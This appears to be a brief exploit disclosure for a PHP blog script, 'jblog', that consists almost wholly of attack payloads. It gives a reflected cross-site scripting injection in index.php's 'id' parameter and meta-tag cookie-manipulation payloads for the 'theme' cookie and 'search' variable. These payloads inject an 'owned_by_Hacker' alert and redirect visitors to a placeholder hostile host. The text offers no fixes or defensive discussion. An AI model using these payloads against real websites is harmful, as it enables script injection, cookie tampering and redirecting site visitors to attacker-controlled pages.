cookies Manipulation + Cross Site Scripting :
=========================================================================
xss:
----
http://site.com/jblog/index.php?id=">[xss Here]&pcomm=com 

cookies Manipulation:
--------------------
The POST variable 'search' in  /jblog/recherche.php  also The Cookie variable 'theme' is affected and can be set to :

 <meta http-equiv='Set-cookie' content='name=value'>

also we can do this :

 <meta http-equiv='Set-cookie' content='theme=<body+onload=alert("owned_by_Hacker")>'>

or :

<meta http-equiv='Set-cookie' content='theme=<body+onload=document.location="http://Bad.site.com/">'>
